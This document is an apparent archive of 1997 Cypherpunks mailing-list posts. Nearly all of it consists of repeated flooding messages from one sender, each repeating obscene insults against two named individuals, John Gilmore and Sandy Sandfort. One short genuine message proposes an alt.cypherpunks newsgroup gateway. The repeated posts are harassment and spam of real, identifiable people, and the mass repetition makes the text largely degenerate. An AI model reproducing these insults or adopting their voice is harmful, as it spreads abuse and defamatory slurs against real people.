motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:58:45 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:58:45 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771006.521847.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 10:58:48 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 10:58:48 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771015.521933.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 11:00:54 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 11:00:54 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771071.522417.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 11:01:51 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 11:01:51 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771019.521961.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 11:01:55 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 11:01:55 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855770982.521657.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 11:02:15 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 11:02:15 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771069.522402.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From paul at fatmans.demon.co.uk Wed Feb 12 11:02:28 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 11:02:28 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855771038.522154.0@fatmans.demon.co.uk> Priority: normal X-mailer: Pegasus Mail for Windows (v2.31) John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From EALLENSMITH at ocelot.Rutgers.EDU Wed Feb 12 11:06:56 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Wed, 12 Feb 1997 11:06:56 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" Message-ID: <01IFBXHQGMCA9AN99E@mbcl.rutgers.edu> From: IN%"shamrock at netcom.com" "Lucky Green" 12-FEB-1997 04:22:39.31 >Everybody with a web browser has access to alt newsgroups via >http://www.dejanews.com/ A: not all alt newsgroups B: not in an anonymous fashion (the anonymizer blocks from requesting files from dejanews) As someone not currently on USENET, I'd request that _somebody_ put up a bi-directional gateway; I'll put in a request to list-managers at greatcircle.com for advice & suggestions, and will suggest that it get cc'd to cypherpunks at toad.com. -Allen From paul at fatmans.demon.co.uk Wed Feb 12 11:07:02 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 11:07:02 -0800 (PST) Subject: John Gilmore the fascist cocksucker Message-ID: <855770933.521248.0@fatmans.demon.co.uk> John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John Gilmore is a fascist cocksucker Sandy Sandfort is a censorous motherfucker John 